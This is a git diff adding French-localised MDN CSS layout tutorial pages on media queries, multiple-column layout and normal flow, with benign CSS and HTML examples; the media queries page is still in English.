Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent.

+ +

Résumé

+ +

Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences  entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/media_queries/index.html b/files/fr/learn/css/css_layout/media_queries/index.html new file mode 100644 index 0000000000..c82e846273 --- /dev/null +++ b/files/fr/learn/css/css_layout/media_queries/index.html @@ -0,0 +1,425 @@ +--- +title: Guide du débutant des Media Queries +slug: Apprendre/CSS/CSS_layout/Media_queries +translation_of: Learn/CSS/CSS_layout/Media_queries +--- +

{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

+ +

The CSS Media Query gives you a way to apply CSS only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. In this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive.

+ + + + + + + + + + + + +
Prerequisites:HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps and CSS building blocks.)
Objective:To understand how to use media queries, and the most common approach for using them to create responsive designs.
+ +

Media Query Basics

+ +

The simplest media query syntax looks like this:

+ +
@media media-type and (media-feature-rule) {
+  /* CSS rules go here */
+}
+ +

It consists of:

+ +
    +
  • A media type, which tells the browser what kind of media this code is for (e.g. print, or screen).
    • +
  • A media expression, which is a rule, or test that must be passed for the contained CSS to be applied.
    • +
  • A set of CSS rules that will be applied if the test passes and the media type is correct.
    • +
+ +

Media types

+ +

The possible types of media you can specify are:

+ +
    +
  • all
    • +
  • print
    • +
  • screen
    • +
  • speech
    • +
+ +

The following media query will only set the body to 12pt if the page is printed. It will not apply when the page is loaded in a browser.

+ +
@media print {
+    body {
+        font-size: 12pt;
+    }
+}
+ +
+

Note: the media type here is different from the so-called {{glossary("MIME type")}}.

+
+ +
+

Note: there were a number of other media types defined in the Level 3 Media Queries specification; these have been deprecated and should be avoided.

+
+ +
+

Note: Media types are optional; if you do not indicate a media type in your media query then the media query will default to being for all media types.

+
+ +

Media feature rules

+ +

After specifying the type, you can then target a media feature with a rule.

+ +

Width and height

+ +

The feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is viewport width, and we can apply CSS if the viewport is above or below a certain width — or an exact width — using the min-width, max-width, and width media features.

+ +

These features are used to create layouts that respond to different screen sizes. For example, to change the body text color to red if the viewport is exactly 600 pixels, you would use the following media query.

+ +
@media screen and (width: 600px) {
+    body {
+        color: red;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

The width (and height) media features can be used as ranges, and therefore be prefixed with min- or max- to indicate that the given value is a minimum, or a maximum. For example, to make the color blue if the viewport is narrower than 400 pixels, use max-width:

+ +
@media screen and (max-width: 400px) {
+    body {
+        color: blue;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

In practice, using minimum or maximum values is much more useful for responsive design so you will rarely see width or height used alone.

+ +

There are a number of other media features that you can test for, although some of the newer features introduced in Level 4 and 5 of the media queries specification have limited browser support. Each feature is documented on MDN along with browser support information, and you can find a full list at Using Media Queries: Media Features.

+ +

Orientation

+ +

One well-supported media feature is orientation, which allows us to test for portrait or landscape mode. To change the body text color if the device is in landscape orientation, use the following media query.

+ +
@media (orientation: landscape) {
+    body {
+        color: rebeccapurple;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

A standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or tablet in portrait mode. Testing for orientation can help you to create a layout which is optimised for devices in portrait mode.

+ +

Use of pointing devices

+ +

As part of the Level 4 specification, the hover media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover.

+ +
@media (hover: hover) {
+    body {
+        color: rebeccapurple;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

If we know the user cannot hover, we could display some interactive features by default. For users who can hover, we might choose to make them available when a link is hovered over.

+ +

Also in Level 4 is the pointer media feature. This takes three possible values, none, fine and coarse. A fine pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A coarse pointer is your finger on a touchscreen. The value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands.

+ +

Using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen.

+ +

More complex media queries

+ +

With all of the different possible media queries, you may want to combine them, or create lists of queries — any of which could be matched.

+ +

"and" logic in media queries

+ +

To combine media features you can use and in much the same way as we have used and above to combine a media type and feature. For example, we might want to test for a min-width and orientation. The body text will only be blue if the viewport is at least 400 pixels wide and the device is in landscape mode.

+ +
@media screen and (min-width: 400px) and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

"or" logic in media queries

+ +

If you have a set of queries, any of which could match, then you can comma separate these queries. In the below example the text will be blue if the viewport is at least 400 pixels wide OR the device is in landscape orientation. If either of these things are true the query matches.

+ +
@media screen and (min-width: 400px), screen and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

"not" logic in media queries

+ +

You can negate an entire media query by using the not operator. This reverses the meaning of the entire media query. Therefore in this next example the text will only be blue if the orientation is portrait.

+ +
@media not all and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}
+ +

Open this example in the browser, or view the source.

+ +

How to choose breakpoints

+ +

In the early days of responsive design, many designers would attempt to target very specific screen sizes. Lists of the sizes of the screens of popular phones and tablets were published in order that designs could be created to neatly match those viewports.

+ +

There are now far too many devices, with a huge variety of sizes, to make that feasible. This means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. Perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. That's the point at which you want to use a media query to change the design to a better one for the space you have available. This approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. The points at which a media query is introduced are known as breakpoints.

+ +

The Responsive Design Mode in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design.

+ +

A screenshot of a layout in a mobile view in Firefox DevTools.

+ +

Active learning: mobile first responsive design

+ +

Broadly, you can take two approaches to a responsive design. You can start with your desktop or widest view and then add breakpoints to move things around as the viewport becomes smaller, or you can start with the smallest view and add layout as the viewport becomes larger. This second approach is described as mobile first responsive design and is quite often the best approach to follow.

+ +

The view for the very smallest devices is quite often a simple single column of content, much as it appears in normal flow. This means that you probably don't need to do a lot of layout for small devices — order your source well and you will have a readable layout by default.

+ +

The below walkthrough takes you through this approach with a very simple layout. In a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same.

+ +

Walkthrough: a simple mobile-first layout

+ +

Our starting point is an HTML document with some CSS applied to add background colors to the various parts of the layout.

+ +
* {
+    box-sizing: border-box;
+}
+
+body {
+    width: 90%;
+    margin: 2em auto;
+    font: 1em/1.3 Arial, Helvetica, sans-serif;
+}
+
+a:link,
+a:visited {
+    color: #333;
+}
+
+nav ul,
+aside ul {
+    list-style: none;
+    padding: 0;
+}
+
+nav a:link,
+nav a:visited {
+    background-color: rgba(207, 232, 220, 0.2);
+    border: 2px solid rgb(79, 185, 227);
+    text-decoration: none;
+    display: block;
+    padding: 10px;
+    color: #333;
+    font-weight: bold;
+}
+
+nav a:hover {
+    background-color: rgba(207, 232, 220, 0.7);
+}
+
+.related {
+    background-color: rgba(79, 185, 227, 0.3);
+    border: 1px solid rgb(79, 185, 227);
+    padding: 10px;
+}
+
+.sidebar {
+    background-color: rgba(207, 232, 220, 0.5);
+    padding: 10px;
+}
+
+article {
+    margin-bottom: 1em;
+}
+
+ +

We've made no layout changes, however the source of the document is ordered in a way that makes the content readable. This is an important first step and one which ensures that if the content were to be read out by a screen reader, it would be understandable.

+ +
<body>
+    <div class="wrapper">
+      <header>
+        <nav>
+          <ul>
+            <li><a href="">About</a></li>
+            <li><a href="">Contact</a></li>
+            <li><a href="">Meet the team</a></li>
+            <li><a href="">Blog</a></li>
+          </ul>
+        </nav>
+      </header>
+      <main>
+        <article>
+          <div class="content">
+            <h1>Veggies!</h1>
+            <p>
+              ...
+            </p>
+          </div>
+          <aside class="related">
+            <p>
+              ...
+            </p>
+          </aside>
+        </article>
+
+        <aside class="sidebar">
+          <h2>External vegetable-based links</h2>
+          <ul>
+            <li>
+              ...
+            </li>
+          </ul>
+        </aside>
+      </main>
+
+      <footer><p>&copy;2019</p></footer>
+    </div>
+  </body>
+
+ +

This simple layout also works well on mobile. If we view the layout in Responsive Design Mode in DevTools we can see that it works pretty well as a straightforward mobile view of the site.

+ +

Open step 1 in the browser, or view the source.

+ +

If you want to follow on and implement this example as we go, make a local copy of step1.html on your computer.

+ +

From this point, start to drag the Responsive Design Mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line. This is where we'll add our first media query. We'll use ems, as this will mean that if the user has increased their text size, the breakpoint will happen at a similar line-length but wider viewport, than someone with a smaller text size.

+ +

Add the below code into the bottom of your step1.html CSS.

+ +
@media screen and (min-width: 40em) {
+    article {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    nav ul {
+        display: flex;
+    }
+
+    nav li {
+        flex: 1;
+    }
+}
+
+ +

This CSS gives us a two-column layout inside the article, of the article content and related information in the aside element. We have also used flexbox to put the navigation into a row.

+ +

Open step 2 in the browser, or view the source.

+ +

Lets continue to expand the width until we feel there is enough room for the sidebar to also form a new column. Inside a media query we'll make the main element into a two column grid. We then need to remove the {{cssxref("margin-bottom")}} on the article in order that the two sidebars align with each other, and we'll add a {{cssxref("border")}} to the top of the footer. Typically these small tweaks are the kind of thing you will do to make the design look good at each breakpoint.

+ +

Again, add the below code into the bottom of your step1.html CSS.

+ +
@media screen and (min-width: 70em) {
+    main {
+        display: grid;
+        grid-template-columns: 3fr 1fr;
+        column-gap: 20px;
+    }
+
+    article {
+        margin-bottom: 0;
+    }
+
+    footer {
+        border-top: 1px solid #ccc;
+        margin-top: 2em;
+    }
+}
+
+ +

Open step 3 in the browser, or view the source.

+ +

If you look at the final example at different widths you can see how the design responds and works as a single column, two columns, or three columns, depending on the available width. This is a very simple example of a mobile first responsive design.

+ +

Do you really need a media query?

+ +

Flexbox, Grid, and multi-column layout all give you ways to create flexible and even responsive components without the need for a media query. It's always worth considering whether these layout methods can achieve what you want without adding media queries. For example, you might want a set of cards that are at least 200 pixels wide, with as many of these 200 pixels as will fit into the main article. This can be achieved with grid layout, using no media queries at all.

+ +

This could be achieved using the following:

+ +
<ul class="grid">
+    <li>
+        <h2>Card 1</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>Card 2</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>Card 3</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>Card 4</h2>
+        <p>...</p>
+    </li>
+    <li>
+        <h2>Card 5</h2>
+        <p>...</p>
+    </li>
+</ul>
+ +
.grid {
+    list-style: none;
+    margin: 0;
+    padding: 0;
+    display: grid;
+    gap: 20px;
+    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+.grid li {
+    border: 1px solid #666;
+    padding: 10px;
+}
+ +

Open the grid layout example in the browser, or view the source.

+ +

With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results.

+ +

Test your skills!

+ +

You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on — see Test your skills: Responsive Web Design.

+ +

Summary

+ +

In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design.

+ +

You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the pointer media feature.

+ +

You could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. Very often there is no right or wrong way — you should experiment and see which works best for your design and content.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

+ +

In this module

+ + diff --git a/files/fr/learn/css/css_layout/multiple-column_layout/index.html b/files/fr/learn/css/css_layout/multiple-column_layout/index.html new file mode 100644 index 0000000000..b4fb4b03d7 --- /dev/null +++ b/files/fr/learn/css/css_layout/multiple-column_layout/index.html @@ -0,0 +1,415 @@ +--- +title: Disposition sur plusieurs colonnes +slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout +tags: + - Apprendre + - Apprentissage + - CSS + - Colonnes multiples + - Disposition + - Débutant + - Guide + - Multi-col +translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}
+ +

Une mise en page à colonnes multiples est une méthode de disposition du contenu sur plusieurs colonnes juxtaposées, telle dans un journal. Cet article explique comment utiliser cette fonction.

+ + + + + + + + + + + + +
Prérequis:Les fondamentaux du HTML (étudiez Introduction au HTML), et une idée du fonctionnement de CSS (étudiez Introduction à CSS.)
Objectif:Apprendre comment créer une disposition de contenu sur plusieurs colonnes dans une page web, comme dans un journal.
+ +

Un exemple élémentaire

+ +

Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée  « multicol ». Vous pourrez effectuer le suivi de cet article en  téléchargeant le fichier de depart multicol et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler.

+ +

Notre point de départ contient un HTML très simple ; une enveloppe de la classe container dans laquelle nous avons placé un en‑tête et quelques paragraphes.

+ +

L'élément {{htmlelement("div")}} de la classe container sera notre conteneur multi‑colonnes. Nous basculons dans une disposition multicol en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété column-count crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes :

+ +
.container {
+  column-count: 3;
+}
+
+ +

Les colonnes créées sont de largeur variable — le navigateur colcule automatiquement l'espace à donner à chacune d'entre elles.

+ +
+ + +
<div class="container">
+  <h1>Simple exemple <i>multicol</i></h1>
+
+  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
+  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
+  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
+  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
+  dis parturient montes, nascetur ridiculus mus.</p>
+</div>
+
+ +
.container {
+  column-count: 3;
+}
+
+
+ +

{{ EmbedLiveSample('Multicol_1', '100%', 400) }}

+ +

Modifiez la CSS pour utiliser column-width ainsi :

+ +
.container {
+  column-width: 200px;
+}
+
+ +

Le navigateur dispose maintenant le maximum de colonnes possible de la taille fixée ; le reste de l'espace est partagé entre les colonnes existantes. Cela signifie que vous n'obtiendrez pas exactement la largeur définie, à moins que le conteneur soit exactement divisible par cette largeur.

+ +
+ + +
.container {
+  column-width: 200px;
+}
+
+
+ +

{{ EmbedLiveSample('Multicol_2', '100%', 400) }}

+ +

Style des colonnes

+ +

Les colonnes créées avec multicol ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes :

+ +
    +
  • modifier la taille de l'espacement entre colonnes avec {{cssxref("column-gap")}}.
    • +
  • ajouter une règle entre colonnes avec {{cssxref("column-rule")}}.
    • +
+ +

En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété column-gap :

+ +
.container {
+  column-width: 200px;
+  column-gap: 20px;
+}
+ +

Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec column-rule. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, column-rule, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et  {{cssxref("column-rule-width")}}, accepte les mêmes valeurs.

+ +
.container {
+  column-count: 3;
+  column-gap: 20px;
+  column-rule: 4px dotted rgb(79, 185, 227);
+}
+ +

Ajoutons des règles pour les divers styles et couleurs.

+ +
+ +
+ +

{{ EmbedLiveSample('Multicol_3', '100%', 400) }}

+ +

Notez que  la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec  column-gap. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes.

+ +

Colonnes et coupures

+ +

Le contenu d'une disposition en plusieurs colonnes est coupé. Il se comporte essentiellement de la même manière qu'un contenu en plusieurs pages — comme quand vous imprimez une page web. Quand vous mettez un contenu dans un conteneur multicol, il est découpé en colonnes de texte pour permettre cette disposition.

+ +

Quelquefois, ces coupures se font dans des endroits amenant des difficultés de lecture. Dans l'exemple en direct ci‑dessous, j'ai utilisé multicol pour disposer une série de boîtes dont chacune a un titre et un peu de texte. Le titre est séparé du texte si la coupure de colonne se produit entre les deux.

+ +
+ + +
<div class="container">
+  <div class="card">
+    <h2>Je suis un titre</h2>
+    <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+    <div class="card">
+      <h2>Je suis un titre</h2>
+      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.</p>
+    </div>
+
+</div>
+
+ +
.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

{{ EmbedLiveSample('Multicol_4', '100%', 600) }}

+ +

Pour contrôler ce comportement, utilisons les propriétés stipulées dans CSS Fragmentation (coupures dans la CSS). Cette fonctionnalité nous offre des propriétés pour contrôler les coupures de contenu dans le multicol et les médias paginés. Par exemple, ajoutons la propriété {{cssxref("break-inside")}} avec la valeur avoid aux règles pour .card, qui est le conteneur du titre et du texte. Nous indiquons que nous ne souhaitons pas que cette boîte soit coupée.

+ +

Il est également préférable d'ajouter l'ancienne propriété page-break-inside: avoid pour une meilleure prise en charge par les divers navigateurs.

+ +
.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

Actualisez la page et les boîtes devraient rester entières.

+ +
+ + +
.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+
+ +

{{ EmbedLiveSample('Multicol_5', '100%', 600) }}

+ +

Résumé

+ +

Vous savez maintenant comment utiliser les fonctionnalités élémentaires de la mise en page sur plusieurs colonnes, autre outil à votre disposition pour choisir une méthode de présentation pour le désign de vos applications.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/normal_flow/index.html b/files/fr/learn/css/css_layout/normal_flow/index.html new file mode 100644 index 0000000000..c3d51d3313 --- /dev/null +++ b/files/fr/learn/css/css_layout/normal_flow/index.html @@ -0,0 +1,108 @@ +--- +title: Cours normal +slug: Apprendre/CSS/CSS_layout/Normal_Flow +translation_of: Learn/CSS/CSS_layout/Normal_Flow +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Introduction", "Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout")}}

+ +

Cet article décrit le déroulement normal, c'est-à-dire la façon dont les éléments d'une page web se présentent si vous ne modifiez pas leur mise en page.

+ + + + + + + + + + + + +
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont les CSS fonctionnent (étudiez Introduction aux CSS).
Objectif :Expliquer comment les navigateurs composent les pages web par défaut, avant que nous commencions à faire des modifications.
+ +

Comme indiqué dans la précédente leçon d'introduction à la mise en page, les éléments d'une page Web suivent un cours normal de mise en page, si vous n'avez pas appliqué de CSS pour changer leur comportement. Et, comme nous avons commencé à le découvrir, vous pouvez changer le comportement des éléments, soit en ajustant leur position dans ce cours normal, soit en les sortant totalement de ce cours. Commencer par un document solide, bien structuré et lisible en cours normal est la meilleure façon de commencer n'importe quelle page Web. Cela garantit un contenu lisible, même si l'utilisateur visite le site avec un navigateur peu performant ou un dispositif tel qu'un lecteur d'écran lisant le contenu de la page. De plus, comme le cours normal a été pensé pour faire en sorte que le document soit lisible, en commençant de cette façon, vous travaillez avec le document au lieu de vous battre contre lui quand vous apportez des modifications à la mise en page.

+ +

Avant d'approfondir les diverses méthodes de mise en page, revoir certaines choses déjà exposées dans les modules précédents à propos du cours normal d'affichage d'un document.

+ +

Disposition des éléments par défaut

+ +

Tout d'abord, les boîtes des éléments pris isolément sont conditionnées en prenant le contenu des éléments, auquel, autour d'eux, est rapporté le remplissage, l'encadrement et la marge — conformément au modèle de boîte examiné plus tôt.

+ +

Par défaut, le contenu d'un élément de niveau bloc prend 100% de la largeur de son élément parent et sa hauteur est commandée par son contenu. Les éléments en ligne ont la hauteur et la largeur de leur contenu. Vous ne pouvez pas définir la largeur ou la hauteur d'éléments en ligne — ils se trouvent uniquement à l'intérieur d'un contenu d'élément de niveau bloc. Si vous voulez contrôler la taille d'un élément en ligne de cette manière, vous devez le paramétrer pour qu'il se comporte comme un élément de niveau bloc avec display: bloc ; (ou même display: inline-block ; qui mélange les caractéristiques des deux).

+ +

Ce qui précède explique le comportement des éléments pris individuellement, mais qu'en est-il de la façon dont les éléments interagissent les uns avec les autres ? Le cours normal de mise en page (mentionné dans l'article d'introduction à la mise en page) est le système par lequel les éléments sont placés à l'intérieur de la fenêtre de vue du navigateur. Par défaut, les éléments de niveau bloc sont disposés dans le sens où les blocs s'affichent dans le mode d'écriture du document — chacun apparaît sur une nouvelle ligne en dessous de la dernière et ils sont séparés par la marge qui leur a été assignée. En anglais donc, ou tout autre mode d'écriture horizontal, de haut en bas, les éléments de niveau bloc sont empilés verticalement.

+ +

Les éléments en ligne se comportent différemment — ils ne sont pas sur une nouvelle ligne ; ils se placent sur la même ligne qu'un autre élément inline ou que n'importe quel contenu textuel adjacent (ou entourant) tant qu'il y a de la place pour eux dans la largeur de l'élément parent de niveau de bloc. S'il n'y a pas suffisamment d'espace, le texte ou les éléments débordants se déplaceront sur une nouvelle ligne.

+ +

Si deux éléments adjacents ont tous deux une marge et que les deux marges se touchent, seule reste la plus grande des deux et la plus petite est englobée dans la plus grande — c'est ce qu'on appelle la fusion des marges ; nous l'avons déjà rencontrée plus haut.

+ +

Voici un exemple simple expliquant cela :

+ +
+
<h2>Cours d'un document de base</h2>
+
+<p>Je suis un élément de niveau bloc de base.
+ Mes éléments de niveau bloc adjacents sont sur de
+ nouvelles lignes en dessous de moi.</p>
+
+<p>Par défaut, nous occupons 100% de la largeur
+ de notre élément parent et nous sommes aussi hauts
+ que notre contenu enfant. Nos largeur et hauteur totales
+ sont égales à la largeur/hauteur de notre
+ contenu + remplissage + encadrement.</p>
+
+<p>Nous sommes séparés de nos marges.
+ Comme il y a fusion des marges, nous sommes séparés
+ par la largeur de l'une de nos marges et non les deux.</p>
+
+<p>Des éléments inline <span>comme celui-ci</span> ou
+ <span>celui‑là</span> sont placés sur la même ligne et
+ les nœuds de texte adjacents, s'il y a de la place sur
+ la même ligne. Les débordements des éléments inline
+ <span>sont placés sur une nouvelle ligne si possible
+ (comme celle‑ci contenant du texte)</span>, sinon ils
+ sont placés sur une nouvelle ligne, comme cette image :
+ <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: white;
+  border: 1px solid black;
+}
+
+ +

{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}

+ +

Résumé

+ +

Maintenant que vous avez vu ce qu'est le cours normal de la mise en page et la façon dont le navigateur présente les choses par défaut, passons à la page suivante pour comprendre comment modifier cet affichage par défaut pour créer une mise en page conforme à votre design.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}

+ +

Dans ce module

